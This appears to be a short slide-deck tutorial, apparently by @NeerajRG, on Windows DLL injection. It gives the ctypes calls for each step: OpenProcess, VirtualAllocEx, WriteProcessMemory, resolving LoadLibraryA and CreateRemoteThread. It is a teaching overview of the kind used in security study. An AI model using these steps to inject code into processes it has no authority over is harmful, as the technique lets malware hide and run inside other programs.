DLL injection involves loading a dynamic link library file into another running process's address space without the target process's cooperation or knowledge. The summarizes the key steps for DLL injection: 1. Get a handle to the target process using its process ID. 2. Allocate memory in the target process to store the path to the DLL. 3. Write the DLL path to the allocated memory. 4. Resolve the address of LoadLibraryA in kernel32.dll and create a remote thread in the target process using this entry point to load the DLL.

1. “DLL Injection Understanding“
INTERNET SECURITY

2. A dynamic-link library (DLL) file is an executable file that allows programs to
share code and other resources necessary to perform particular tasks.
The system calls the entry-point function in the context of the thread that
called LoadLibrary. If the system cannot find the DLL or if the entry-point
function returns FALSE, LoadLibrary or LoadLibraryEx returns NULL. If
LoadLibrary or LoadLibraryEx succeeds, it returns the DLL handle to the
DLL module.
A process handle is a number that uniquely identifys a process kernal object,
which can be optained using the Pid.
QUICK INTRO !

3. 1. Get a handle to the process we are injecting into.
2. Need to resolve the address for LoadLibraryA in any existing DLL such
as Kernel 32 DLL
3. Allocate some space for the injecting DLL path, write the DLL path into
the allocated space
4. create the remote thread, with the entry point setto LoadLibraryA,
pointer to the DLL and with process handle.
ACTION ITEMS

4. Get the process handle:-
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False,
int(pid) )
Allocate the virtual memory to store the DLL path:
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len,
VIRTUAL_MEM,PAGE_READWRITE)
Write the DLL path into the allocated memory:
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
byref(written))
ACTION ITEMS

5. Resolve address :
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
Create the thread an injectDLL
kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,
byref(thread_id)):
ACTION ITEMS

6. d3m0 T1m3
LET’S LEARN

7. THANK YOU!!!s
@NeerajRG
GREAT TIME